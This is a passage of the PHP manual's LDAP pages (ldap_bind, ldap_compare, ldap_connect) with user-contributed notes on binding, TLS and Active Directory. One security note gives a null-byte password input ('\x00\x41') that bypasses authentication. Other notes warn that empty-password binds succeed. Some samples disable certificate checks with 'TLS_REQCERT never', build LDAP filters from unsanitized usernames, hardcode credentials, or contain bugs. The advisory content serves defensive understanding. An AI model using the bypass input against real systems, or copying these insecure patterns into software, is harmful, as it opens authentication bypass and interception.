        var_dump($info[$i]);#look for your user account in this pile of junk and apply the whole pattern where you build $dn to match exactly the ldap tree entry
      }
    }
  } else {
    echo("Unable to bind anonymously<br>");
    echo("msg:".ldap_error($ds)."<br>");
  }
}
?>

as you can see most of the examples use "cn=username" and OpenLDAP uses "uid=username" but who knows what will be used in the future builds, this code will help you check it out (I hope :)
ben _at_ onshop_co_uk 11-Nov-2009 11:16
I tried using putenv() to point LDAP to the certificate path etc.

putenv("TLS_CACERT=/path/to/certificate");
putenv("TLS_REQCERT=never");

This did not work for me. It has to be in the Apache configuration or LDAP configuration:

LDAP CONFIGURATION

Put these values in ldap.conf:

TLS_CACERT /path/to/certificate
TLS_REQCERT never

The path varies on UNIX systems.

On Windows it is C:\openldap\sysconf\ldap.conf

APACHE CONFIGURATION

Add these values to httpd.conf:

LDAPTrustedGlobalCert <encryption method> /path/to/certificate
LDAPVerifyServerCert Off

The encryption method I was using was 'CA_BASE64'. Check the encryption method with your LDAP/AD sysadmin.
spam[AT]it-blog[DOT]net 04-Sep-2009 07:18
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate normally no connection will be established. Therefor you have to allow such connections explicitly.
With Linux (e.g. Debian, Ubuntu) you have to add "TLS_REQCERT never" to your /etc/ldap/ldap.conf. On other distributions this config file may be located somewhere else.
taomanjay at _DIESPAM_gmail dot com 09-Feb-2009 02:36
Just a quick and easy function to authenticate against an AD domain controller:

<?php
function ad_auth( $server, $username, $password ){
        $ldap = @ldap_connect( $server );

        if ( @ldap_bind( $ldap, $username, $password ) ){
                ldap_unbind( $ldap );
                return 1;
                }
        else{
                return 0;
                }
        }
?>
juan[dot]pineda[at]resultstel.com 07-Jan-2009 08:27
Active Directory doesn't accept anonymous requests anymore.

With Windows Server 2003, only authenticated users may initiate an LDAP request against Windows Server 2003-based domain controllers. You can override this new default behavior by changing the seventh character of the dsHeuristics attribute on the DN path as follows:
CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,Root domain in forest

from: http://support.microsoft.com/kb/326690
james at NOSPAM dot revillini dot com 27-Oct-2008 06:55
I couldn't get ldap_bind to work on an ldaps connection until I followed some instructions about creating an ldap.conf file.  I don't see these instructions anywhere on the php site.  Maybe they're on the OpenLDAP site, but I thought it would be useful to have here as well.  Credit goes to a dude known as 'LRM', and I found my solution here: http://lists.horde.org/archives/sork/Week-of-Mon-20040503/001578.html

My setup is XAMPP on Win XP.
###### ApacheFriends XAMPP (basic package) version 1.6.3a ######

  + Apache 2.2.4
  + MySQL 5.0.45
  + PHP 5.2.3 + PHP 4.4.7 + PEAR
  + PHP-Switch win32 1.0 (please use the "php-switch.bat")
  + XAMPP Control Version 2.5 from www.nat32.com
  + XAMPP Security 1.0
  + SQLite 2.8.15
  + OpenSSL 0.9.8e
  + phpMyAdmin 2.10.3
  + ADOdb 4.95
  + Mercury Mail Transport System v4.01b
  + FileZilla FTP Server 0.9.23
  + Webalizer 2.01-10
  + Zend Optimizer 3.3.0
  + eAccelerator 0.9.5.1 for PHP 5.2.3  (comment out in the php.ini)

1. create C:\OpenLDAP\sysconf\ldap.conf (Yes, it MUST be this path because it's hard-coded in the dll)
2. put this line at the top:

TLS_REQCERT never

3. Save, stop/start apache.

The reason is, I think, because it doesn't understand the certificate, so this directive tells it to not bother checking it.  I guess that could be unsafe in some cases, but in my case I'm confident with the server I'm connecting to.

My connection code was as follows (nothing new here, I don't think):

<?php
$con = @ldap_connect('ldaps://the.ldap.server', 636);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
var_dump(@ldap_bind($con, 'user@sub.domain.com', 'password'));
?>

Good luck!  LDAPS can be a real bitch.
Devia dot Fan at gmail dot com 23-Jun-2008 10:12
Hi All, I just thought people should realize that the bug, or whatever change that was implemented with slapd and Openldap for the version V3 protocol has either not been repaired, or isn;t believed to be a bug or whatever...but still requires an implicit setting to V3 for use of the ldap_bind function. I am using Apache 2 and PHP 5.1 with LDAP 2. The default is set to deny V2 protocol, and even reconfiguring the slapd config file will not fix the problem.

You must still use the ldap_set_option function.

EX:

<?php
    $ldapHost = "ldap://server";
        $ldapPort = "port";
    $ldapUser ="cn=name,dc=domain";
    $ldapPswd ="password";

$ldapLink =ldap_connect($ldapHost, $ldapPort)
    or die("Can't establish LDAP connection");

if (ldap_set_option($ldapLink,LDAP_OPT_PROTOCOL_VERSION,3))
{
    echo "Using LDAP v3";
}else{
    echo "Failed to set version to protocol 3";
}

ldap_bind($ldapLink,$ldapUser,$ldapPswd)
    or die("Can't bind to server.");

?>

Thanks to Ken on below for showing the way. There was a slight code error in what he chose as his link_id, but thats all. This code above worked nice and shinny, and demonstrates we are still working with 2004 problems. I wish they would update this in the code above.
Nicolas Van Lancker 03-Sep-2007 02:46
It seems that Active Directory stores information in UTF8 format.

I needed to utf8_encode() the username and password otherwise the bind failed when a user has accented characters in his password...
Josh A. 20-Jul-2007 07:29
The OpenLDAP libraries will return error 53 (Server unwilling to perform) when trying to re-bind to a non-anonymous account if you accidentally leave the password field blank. If you want to authenticate against a different field than the dn, you have to bind to the server twice. Your code may look like the following:

<?
function ldapLogin($uname, $pass, $base_dn, $fname, $server, $port){
    $ldc=@ldap_connect($server, $port);
    if (!$ldc) return ERROR_CODE;

    $bn='cn=anonymous-user,'.$base_dn;
    $pw='anonymous-pass';
    $lbind=@ldap_bind($ldc, $bn, $pw);
    if (!$lbind) return ERROR_CODE;

    $ureturn=@ldap_search($ldc, $base_dn, "($fname=$uname)", array('dn', 'givenName', 'sn', 'mail'));

    $uent=@ldap_first_entry($ldc, $ureturn);
    if (!$uent) return ERROR_CODE;

    $bn=@ldap_get_dn($ldc, $uent);

    //This line should use $pass rather than $password
    $lbind=@ldap_bind($ldc, $bn, $password);
    // Now you can find the error
    echo ldap_error($ltc);

    if ($lbind) return true; else return false;
?>

Hope this helps someone else running in to the same error.
Teemu 29-Mar-2007 12:44
Example of connecting and searching AD

$con = ldap_connect('ad.domain.com');
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($con, LDAP_OPT_REFERRALS, 0);
ldap_bind($con, 'user@DOMAIN.COM', 'clear password');

ldap_search($con, 'DC=domain,DC=com', '(uniqueMember=user)');
alex dot everett at okstate dot edu 07-Mar-2007 12:19
A number of examples and implementations of authentication schemes which use LDAP simple binds to authenticate users fail to properly sanitize user-submitted data. This can allow for an anonymous user to authenticate to a web-based application as an existing user. Provided below is a brief description and example of how this vulnerability can arise. For more detailed information please visit the links at the bottom of this posting.

The bind operation of LDAP, as described in RFC 4513, provides a method which allows for authentication of users. For the Simple Authentication Method a user may use the anonymous authentication mechanism, the unauthenticated authentication mechanism, or the name/password authentication mechanism. The unauthenticated authentication mechanism is used when a client who desires to establish an anonymous authorization state passes a non-zero length distinguished name and a zero length password. Most LDAP servers either can be configured to allow this mechanism or allow it by default. Web-based applications which perform the simple bind operation with the client's credentials are at risk when an anonymous authorization state is established. This can occur when the web-based application passes a distinguished name and a zero length password to the LDAP server.
This is commonly encountered when no password is provided from the client to the web-based application. This situation is described in some of the postings found below. For this situation, the recommendations found in other postings is sufficient to prevent authentication bypass.
However, no prior postings at php.net describe a situation in which a client may pass a distinguished username and a password of non-zero length to the web-based application which results in an anonymous authorization state. Below is an example of this situation.

$dn="testuser";
$pass="\x00\x41";
if (empty($dn) or empty($pass)) { exit(); } //check for empty strings
//if (preg_match('/[^a-zA-Z]/',$dn) or preg_match('/[^a-zA-Z0-9\x20!@#$%^&*()]/',$pass)) { exit(); } //check for expected values (whitelisting)
//if (preg_match('/\x00/',$dn) or preg_match('/\x00/',$pass)) { exit(); } //check for null byte (blacklisting)
$ldapconn=ldap_connect("192.0.2.2") or die("Could not connect to LDAP server.");
if ($ldapconn) {
        ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
        $ldapbind=ldap_bind($ldapconn, $dn, $pass);
        if ($ldapbind) {
                echo("success");
        } else {
                echo("fail");
                }
        }

References:
http://security.okstate.edu
john dot hargrove at sellingsource dot com 01-Feb-2007 03:09
Note that you have to specify the protocol version prior to making a call to ldap_bind, when the server is expecting LDAP protocol version 3.  If you do not, you will receive a warning and fail to bind, such as:

ldap_bind(): Unable to bind to server: Protocol error

In order to avoid this, make this call:

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Where $ds is the result returned by ldap_connect(...);
david dot marsh at hartfordlife dot com 08-Aug-2006 12:49
had to do a bunch of research on this, but it does work, once config'd correctly.

using Apache/2.2.3 (Win32) mod_ssl/2.2.3 OpenSSL/0.9.8b
PHP PHP Version 5.1.5-dev

ldap_bind was getting "81 Can't contact LDAP server" which was really annoying, since the connection worked fine without "ldaps"
using:

$ldapconnect = @ldap_connect( $connection_string );

well, actually the bind was really the one failing...

$bind = ldap_bind($ldapconnect, $client, $this->objSecurityLogin->Password);

many attempts to determine until i smartened up and turned on the trace level:

ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);

which must go before the connect!

found that on windows, you can't specifiy a quote in the ldap.conf:
i had:
TLS_REQCERT never
TLS_CACERT "C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem"
which throws the error..
TLS: could not load verify locations (file:`"C:\Documents\Tools\Apache2\conf\ssl\ad.pem"',dir:`').
TLS: error:0200107B:system library:fopen:Unknown error .\crypto\bio\bss_file.c:122
TLS: error:2006D002:BIO routines:BIO_new_file:system lib .\crypto\bio\bss_file.c:127
TLS: error:0B084002:x509 certificate routines:X509_load_cert_crl_file:system lib .\crypto\x509\by_file.c:274
ldap_err2string

changed to:
TLS_REQCERT never
TLS_CACERT C:\\Documents\\Tools\\Apache2\\conf\\ssl\\ad.pem
which cleans it up as:
TLS trace: SSL_connect:before/connect initialization
TLS trace: SSL_connect:SSLv2/v3 write client hello A
TLS trace: SSL_connect:SSLv3 read server hello A
TLS certificate verification: depth: 1, err: 0, subject: /DC=xxx/DC=yyy/CN=zzzz, issuer: /DC=abab/DC=yyy/CN=zzzz
TLS certificate verification: depth: 0, err: 0, subject: ......

so the moral to the story is even though PHP wants quotes in some windows config parms, it won't work if its in ldap.conf!
romerom at cox dot net 12-Jul-2006 02:43
I ran into an issue trying to bind as "cn=manager,dc=example,dc=com".  I took the example kenn posted where he set LDAP_OPT_PROTOCOL_VERSION to "3" for the connection.  Once I set this, I was able to bind with my manager id.
dedlfix 03-May-2006 12:36
It doesn't make much sense to let die() the script in case of an error, otherwise to ask if there were no errors before proceeding the script, as the official examples do.

better:

<?php
ldap_bind(...) or die(...);
do_something();
?>

or even better (die() is quick but dirty)

<?php
if (!ldap_bind(...)) {
  error();
} else {
  do_something();
}
?>
baroque at citromail dot hu 05-Nov-2005 01:18
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
17-Oct-2005 11:47
When using Active Directory 2003 (possibly also 2000) you can't search anonymously so you have to bind with a (known) user and password. Or else you will get an Search operations error. I also can confirm that an empty password bind succeeds! So test for an empty password first!

Some excellent information is found here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
http://www.scit.wlv.ac.uk/~jphb/sst/basics/ldap.html
darkstar_ae at hotmail dot com 15-Sep-2005 12:03
This may be a security issue but after tinkering for hours with the below ldap auth function (edi01 at gmx dot at), I discovered that the ldap_bind function will return true if you enter a valid username AND a NULL value!

so if that function were to receive something like $username = 'someuser' and $password = '', it would return true. As long as it isn't a null value the function will work as expected. Might as well check if it is null or empty then.
get_your_gun at hotmail dot com 23-Aug-2005 11:33
Hey

I was trying this all day and final noticed that when you use bind and authenticate. The user name needs to be as follows for it to work. I am using PHP V 4.03 so this might be different now but here is what I used and the auth worked.

<?php
$ldaphost = "ldap.what.at.greatnet.com";
$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds)
{
    $username = "johndoe@what.at.greatnet.com";
    $upasswd = "pass";

    $ldapbind = ldap_bind($ds, $username, $upasswd);

    if ($ldapbind)
        {print "Congratulations! $username is authenticated.";}
    else
        {print "Nice try, kid. Better luck next time!";}
}

?>
edi01 at gmx dot at 05-Apr-2005 01:31
complete ldap authentication script:

function checkldapuser($username,$password,$ldap_server){
  if($connect=@ldap_connect($ldap_server)){ // if connected to ldap server

    if (ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      echo "version 3<br>\n";
    } else {
      echo "version 2<br>\n";
    }
    echo "verification on '$ldap_server': ";

    // bind to ldap connection
    if(($bind=@ldap_bind($connect)) == false){
      print "bind:__FAILED__<br>\n";
      return false;
    }

    // search for user
    if (($res_id = ldap_search( $connect,
                                "dc=auto,dc=tuwien,dc=ac,dc=at",
                                "uid=$username")) == false) {
      print "failure: search in LDAP-tree failed<br>";
      return false;
    }

    if (ldap_count_entries($connect, $res_id) != 1) {
      print "failure: username $username found more than once<br>\n";
      return false;
    }

    if (( $entry_id = ldap_first_entry($connect, $res_id))== false) {
      print "failur: entry of searchresult couln't be fetched<br>\n";
      return false;
    }

    if (( $user_dn = ldap_get_dn($connect, $entry_id)) == false) {
      print "failure: user-dn coulnd't be fetched<br>\n";
      return false;
    }

    /* Authentifizierung des User */
    if (($link_id = ldap_bind($connect, $user_dn, $password)) == false) {
      print "failure: username, password didn't match: $user_dn<br>\n";
      return false;
    }

    return true;
    @ldap_close($connect);
  } else {                                  // no conection to ldap server
    echo "no connection to '$ldap_server'<br>\n";
  }

  echo "failed: ".ldap_error($connect)."<BR>\n";

  @ldap_close($connect);
  return(false);

}//end function checkldapuser

Here a sample for using this function:

if (checkldapuser('myuser', 'secretpassword', 'ldap://link.to.ldap')) {
  echo "ACCESS GRANTED\n";
} else {
  echo "ACCESS DENIED\n";
}
owen at delong dot com 24-Feb-2005 04:04
I am assuming that ldap_bind does a simple bind and that for other
types of bind, ldap_sasl_bind should be used.

Also, while the allow bind v2 solution will work with slapd, you really should
use ldap v3 if at all possible because of the security improvements and
better protocol definition.  LDAP v2 is largely deprecated at this point.

Hopefully the PHP default LDAP version will move to v3 soon.
phredbroughton at yahoo dot com 16-Feb-2005 11:27
As noted before with the password, I have found that if either  of the valuse for user or password are blank, or as in my case a typo resulted in a blank user as it was an undefined variable, the ldap_bind() will just perform an anonymous bind and return true!
Shouldn't this detect the presence of the additional values and return an error? At least if the user or password is passed. If they are both blank I'm not sure what it should do.
wkaiser at mpimf-heidelberg dot mpg dot de 24-Nov-2004 11:40
If you do not want to bind as unixadmin or *manager (i. e., for authentication on web applications), the following code could be useful:
<?php

$ldaphost = "ldap.yourdomain.com";

/*for a SSL secured ldap_connect()

$ldaphost = "ldap.yourdomain.com"; */

$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds) {

$username = "some_user";
$upasswd = "secret";
$binddn = "uid=$username,ou=people,dc=yourdomain,dc=com";

$ldapbind = ldap_bind($ds, $binddn, $upasswd);

if ($ldapbind) {

print "Congratulations! $some_user is authenticated.";}

else {

print "Nice try, kid. Better luck next time!";}}

?>
jakob at grimstveit dot no 19-Oct-2004 08:33
As "john dot lewis at waldenweb dot com" correctly writes (and this is important to note and SHOULD be incorporated into the documentation as a warning - trying to bind with specific username and empty password will return TRUE.
kenn at pcintelligent dot com 13-Jun-2004 11:32
I want to point out that the line that reads

"$ldaprdn  = 'uname';"

is a bit confusing. You need to ensure that you use the entire rootdn. for instance. your code should look more like this...

<?php

// using ldap bind *** NOTE the uname *****
$ldaprdn  = 'cn=root,dc=testserver,dc=com';    // ldap rdn or dn
$ldappass = 'secret';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.testserver.com")
   or die("Could not connect to LDAP server.");

if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   echo "Using LDAPv3";
} else {
   echo "Failed to set protocol version to 3";
}

if ($ldapconn) {

   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

   // verify binding
   if ($ldapbind) {
       echo "LDAP bind successful...";
   } else {
       echo "LDAP bind failed...";
   }

}

?>
pete dot rowley at example dot com 31-Dec-2003 08:51
You should NOT attempt to bind with a made up password.  However small the chance, the chance remains that your code produces a valid password.  The correct behaviour is to test for an empty password, and if your application will only service authenticated users, not perform any more LDAP operations on behalf of the user - this also happens to be more efficient.
kokheng at jhs dot com dot sg 21-Nov-2002 01:01
OpenLdap 2.1.x libraries support both LDAPv2 and LDAPv3. The problem lies with the slapd, the ldap server bundled with OpenLDAP.  It's default supported version is LDAPv3. One can set the "allow bind_v2" in the slapd.conf file, with this configured, the PHP ldap_set_option() is not required.
elvisciousatrmci.net 27-Sep-2002 11:08
I ran into a problem where I was getting a protocol error when I tried to bind.  I was able to connect fine and ldap commands worked fine from the command line.

The problem turned out to be that openldap (v 2.1.5) was starting up in version 3 ldap mode, and php (4.2.3) expected it to be in version 2 mode.

To fix this use the ldap_set_option command to change the version that php expects.
naujocke at nospam dot abacusii dot com 06-May-2002 09:27
One useful item when trying to bind to Novell's NDS LDAP servers.

If you are using NDS 8 and attempt to bind it will work with a partail context.

As an example if you full context is cn=user.ou=sales.ou=division.o=company
and you use as your authentication context cn=user.o=company it will work.

But you will be required to supply the full context to authenticate to an eDirectory based LDAP setup. Such as Netware 6 or eDirectory 8.5 or greater.

Also when using the wildcard * symbol in your object class. If you are not careful it is possible to dump the entire contents of your NDS tree into an array.
tpiper at pinnacle dot couk 26-Feb-2002 07:19
An example to help you authenticate against M$ Exchange, rather than use anonymous mode...

you will need to create an NT domain member (I've called it ldapquery) and give it search permission in the LDAP protocol settings in Exchange.

then:
$ds=ldap_connect ("<exchange server>");
$r=@ldap_bind($ds,"cn=ldapquery, o=<your organisation>, c=<your country>, ","<the password for ldapquery account>");

we've tested this on Exchange 5.5SP3.
ldap_add
ldap_close
LDAP Functions


Alias of ldap_unbind

ldap_bind
ldap_compare
LDAP Functions
PHP Manual

ldap_close

(PHP 4, PHP 5)

ldap_close — Alias of ldap_unbind()

Description

This function is an alias of: ldap_unbind().

User Contributed Notes

20-Jul-2001 11:15
<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    $r=ldap_bind($ds,"cn=root, o=My Company, c=US", "secret");
    $info["cn"]="Roberto Celestino";
    $info["sn"]="Roberto";
    $info["mail"]="rcelestino@here.and.now";
    $info["objectclass"]="person";

    // add data to directory
    $r=ldap_add($ds, "cn=Celestino Roberto, o=Mi Compania, c=US", $info);
    //Close the link apointed by the identified $ds (get with ldap_connect)
    ldap_close($ds);

}
?>
ldap_bind
ldap_compare
LDAP Functions


Compare value of attribute found in entry specified with DN

ldap_close
ldap_connect
LDAP Functions
PHP Manual

ldap_compare

(PHP 4 >= 4.0.2, PHP 5)

ldap_compare — Compare value of attribute found in entry specified with DN

Description

mixed ldap_compare ( resource $link_identifier , string $dn , string $attribute , string $value )

Compare value of attribute with value of same attribute in an LDAP directory entry.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

attribute

The attribute name.

value

The compared value.

Return Values

Returns TRUE if value matches otherwise returns FALSE. Returns -1 on error.

Examples

The following example demonstrates how to check whether or not given password matches the one defined in DN specified entry.

Example #1 Complete example of password check

<?php

$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {

    // bind
    if (ldap_bind($ds)) {

        // prepare data
        $dn = "cn=Matti Meikku, ou=My Unit, o=My Company, c=FI";
        $value = "secretpassword";
        $attr = "password";

        // compare value
        $r=ldap_compare($ds, $dn, $attr, $value);

        if ($r === -1) {
            echo "Error: " . ldap_error($ds);
        } elseif ($r === true) {
            echo "Password correct.";
        } elseif ($r === false) {
            echo "Wrong guess! Password incorrect.";
        }

    } else {
        echo "Unable to bind to LDAP server.";
    }

    ldap_close($ds);

} else {
    echo "Unable to connect to LDAP server.";
}
?>

Notes

Warning

ldap_compare() can NOT be used to compare BINARY values!

User Contributed Notes

oudejans at zeelandnet dot nl 11-Apr-2005 05:10
With PHP 4.3.* is Password no longer a valid attribute.. try to use userPassword
chuck+ldap at 2006 dot snew dot com 05-Aug-2004 10:08
Just a side note that this is not how you'd ever AUTHENTICATE someone, just an example code.

The common way to authenticate is to get the users name, use search and perhaps selection to the user to get her DN (single value) then attempt to BIND to the ldapserver using that dn and the offered password.  If it works, then it's the right password.

Note that the password offered MUST NOT BE EMPTY or many LDAPs will presume you meant to authenticate anonymously and it will succeed, leaving you thinking it's the right password.
Brian Kerhin &lt;kerhin at bigfoot dot com&gt; 31-Jan-2001 06:13
Not probably, will.  With PHP 4.0.4 and openldap 1.2.9 this little script, even with the correct attributes for the password does not do the job.  Would superb if it did!
334647 at swin dot edu dot au 25-Oct-2000 07:06
Interesting example. Apart from the fact that very few people would allow comaprisions of the password attribute for security reasons. The attribute name of "password" does not match the usual schemas.

The usual method of user id + password verification is to attempt to bind using the supplied credentials.

Ldap compare on password values will probably fail with ns directroy server and openldap v2+ becuase of server support for password hashing.
ldap_close
ldap_connect
LDAP Functions


Connect to an LDAP server

ldap_compare
ldap_count_entries
LDAP Functions
PHP Manual

ldap_connect

(PHP 4, PHP 5)

ldap_connect — Connect to an LDAP server

Description

resource ldap_connect ([ string $hostname = NULL [, int $port = 389 ]] )

Establishes a connection to a LDAP server on a specified hostname and port.

Parameters

hostname

If you are using OpenLDAP 2.x.x you can specify a URL instead of the hostname. To use LDAP with SSL, compile OpenLDAP 2.x.x with SSL support, configure PHP with SSL, and set this parameter as ldaps://hostname/.

port

The port to connect to. Not used when using URLs.

Return Values

Returns a positive LDAP link identifier on success, or FALSE on error. When OpenLDAP 2.x.x is used, ldap_connect() will always return a resource as it does not actually connect but just initializes the connecting parameters. The actual connect happens with the next calls to ldap_* funcs, usually with ldap_bind().

If no arguments are specified then the link identifier of the already opened link will be returned.

Changelog

Version | Description
4.0.4 | URL and SSL support was added.

Examples

Example #1 Example of connecting to LDAP server.

<?php

// LDAP variables
$ldaphost = "ldap.example.com";  // your ldap servers
$ldapport = 389;                 // your ldap server's port number

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost, $ldapport)
          or die("Could not connect to $ldaphost");

?>

Example #2 Example of connecting securely to LDAP server.

<?php

// make sure your host is the correct one
// that you issued your secure certificate to
$ldaphost = "ldaps://ldap.example.com/";

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost)
          or die("Could not connect to {$ldaphost}");

?>

See Also

  • ldap_bind() - Bind to LDAP directory

User Contributed Notes

verikono 11-Apr-2011 01:33
PHP:LDAP does not support persistent connections.
miki at qex dot cz 10-Mar-2010 04:51
I had terrible problems with "Unable to bind to server: Invalid credentials" error - everything seemed to be OK (login/pwd used in other apps).
Solved by adding domain to login (instead "username" I used "username@example.com").
mharting at micahtek dot com 02-Sep-2009 01:35
An addition to trying to setup failover. After doing the ldap_connect, do the ldap_bind.  If ldap_bind fails, use the command ldap_errno to get the error number.  If the error number is 81, that represents the server is down.  That is the only time we do a failover to our backup ldap server.

Another thing to consider is the error could be 49, then do
ldap_get_option($this->ds,LDAP_OPT_ERROR_NUMBER,$optErrorNumber);. This will return extended data and if the data code in that is 532 or 773, the bind failure will be caused by the password being expired and requiring a password update before the bind will succeed.
csnyder at fcny dot org 15-Apr-2009 09:35
It bears repeating (and the examples should probably be updated) that ldap_connect() doesn't actually test the connection to the specified ldap server. This is important if you're trying to build failover into your ldap-based authentication routine.

The only way to test the connection is to actually call ldap_bind( $ds, $username, $password ). But if that fails, is it because you have the wrong username/password or is it because the connection is down? As far as I can see there isn't any way to tell.

It seems that if ldap_bind() fails against your primary server, you have no choice but to try ldap_bind() with the same credentials against the backup. And yet, if your organization limits failed login attempts, a single bad password counts as two failed login attempts. Not good.

One possible workaround is to try an anonymous bind first:

<?php
// connect to primary
$ds = ldap_connect( 'ldap://10.0.0.7/' );
// note: $ds is always a resource even if primary is down

// try anonymous login to test connection
$anon = @ldap_bind( $ds );
if ( !$anon ) {
    // test failed, connect to failover host
    $ds = ldap_connect( 'ldap://10.0.0.8/' );
}
else {
    // test passed, unbind anonymous and reconnect to primary
    ldap_unbind( $ds );
    $ds = ldap_connect( 'ldap://10.0.0.7/' );
}

// now try a real login
$login = @ldap_bind( $ds, $username, $password );
?>

Note that this workaround relies on anonymous login being enabled, which may not always be the case. It's a little sad that there is no other way to test the connection. Hopefully this can be remedied in some future implementation of ldap_connect().
peter dot burden at gmail dot com 27-Jan-2009 04:40
The host name parameter can be a space separated list of host names. This means that the LDAP code will talk to a backup server if the main server is not operational. There will be a delay while the code times out trying to talk to the main server but things will still work. This is particularly useful with a typical Microsoft Active Directory setup of primary and backup domain controllers.
<?php
$ldaphost = "192.168.0.100 192.168.0.101";
$ldapconn = ldap_connect($ldaphost);
?>
geigers at binghamton dot edu 01-May-2008 01:04
If you have oci8 and are trying to use openldap for ldap you *may* run into a problem.  I have an Oracle database that I connect to from apache.  Oracle also has ldap libs which were taking precedence over the openldap libs.  This would cause a seg fault when calling ldap_connect with a uri style connect string; e.g. ldap_connect("ldaps://myldapserver.host");

After using gdb to debug a core dump and a lot of googling I found that the solution was to add an env-var to apachectl startup.

I am using Apache 2.2.8 with PHP 5.2.5 on RHEL.  I added:

LD_PRELOAD=/path/to/libldap.so
export LD_PRELOAD

in /usr/sbin/envvars which is read when apachectl starts.  You can read more on this here: http://www.mail-archive.com/php-bugs@lists.php.net/msg02201.html

Scott Geiger
bleathem at gmail dot com 27-Feb-2008 02:30
Everyone is posting about getting ldaps:// working in a WAMP/AD stack, I had a tough time finding how to get it going in RHEL 5.1 (w/ all stock rpms).  Good old strace did the trick and helped me find the problem...

Turns out php was looking for the CA file in /etc/pki/CA, and I didn't have the correct permissions on the folder.  chmod'ing it to 755 solved my "Can't contact LDAP server" message.
andreas dot a dot sandberg at gmail dot com 05-Jun-2007 05:28
Be careful when using ldap_connect with the sun client libraries that come bundled with solaris.   When specifyng the host with the ldap protocol, my connection failed and it took me a good day to trouble shoot.  ie. ldap_connect("ldap://somwhere.com");  Just remove the 'ldap://' and specify the host.   This was on Solaris 10 sparc.
vandervoord at planet dot nl 05-May-2007 06:22
The previous note concerning searching the whole AD tree works fully. Though you must be sure that the server you're authenticating/searching is a Global Catalog server. If not, connecting and binding will fail. Usually there is at least one Global Catalog server in your domain, so if the connect fails try another server it will work. The reason it works is that the Global Catalog server searches the whole domain as where the domain catalog only searches a given OU, offcourse this opposes a security threat as well :)...
allie at lsu dot edu 06-Mar-2007 02:23
I sure do wish there was some way I could get this information out to all programmers in the world about binding and searching MS AD.  This is the second time I was bit by the "I need to search the entire tree" problem.

For php (and apache auth_ldap ) you need to specify port 3268 when you want to search the entire tree.  Otherwise it will spit out the partial results error.

ldap_connect($server,3268);

I'm just fortunate enough to have won this same battle with apache searching the whole directory.  When I noticed our php application failing auth's for users, I was immediately able to fix the problem by adding this port specification (and the ldap_set_option($ldapserver, LDAP_OPT_REFERRALS, 0)  option).

I really hope this helps someone else before they pull all their hair out.  I know I miss mine.
elsint at yahoo dot com 21-Sep-2006 01:48
Be careful about the certificate's permission if you are using Windows.

Set certificates' permissions for everyone to Read and Read&Execute or you may get binding errors because of this.
baroque at citromail dot hu 05-Nov-2005 01:20
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
Tony Brady 04-Nov-2005 02:53
I don't why but on my server I am not able to connect successfully to my LDAP server unless I use the IP address of the LDAP server, rather than the hostname. So this DOESN'T work:

<?php
  $ldapconn = ldap_connect('ldap.example.com');
?>

whereas this does work:

<?php
  $ip = gethostbyname('ldap.example.com');
  $ldapconn = ldap_connect($ip);
?>

Of course you don't know it hasn't worked until you try to bind to the server and query it.
Srivathsa M 23-Jun-2005 03:28
Using LDAP over SSL on NetWare:

1. Copy the server certificates to sys:/php5/cert directory. This location is configurable in php.ini file.

2. Use "ldaps://" prefix for host name argument or a value of 636 for port number argument in ldap_connect call.

For more details, visit, NetWare specific PHP documentation at http://developer.novell.com/ndk/doc/php/index.html
nigelf at esp dot co dot uk 26-Apr-2005 03:58
As mentioned above, openLDAP will always return a resource, even if the server name isn't valid.

If you then bind with errors suppressed (@ldap_bind) and it fails, it's not obvious what caused the failure (ie: connection or credentials).  As the bind doesn't return a resource you can't get the last error from ldap_error etc. either.

If you display just a message about login failure to the user they may get frustrated re-typing a valid username/password when it's the connection that's at fault.
blizzards at libero dot it 28-Sep-2004 03:23
To complete questions about how to connect to a LDAP ACTIVE DIRECTORY 2000/2003 server with SASL on port 636, you can refer to prevous notes, and the following directives:

A)Create CA certificates from AD;
B)Export in .pem (DER) format;
C)Install OPENSSL,CYRUS SASL,OPENLDAP,KERBEROS 5;
D)Copy exported AD ca cert into openssl certs dir on your unix system;
E)Reash with c_reash command;
F)Get a kerberos ticket form AD for your user;
G)Compile PHP with SSL and LDAP support;
H)Test with ldapsearch -D <binddn> -W -H ldaps://ad.secure.com:636 -x

If all works right, create your php script.

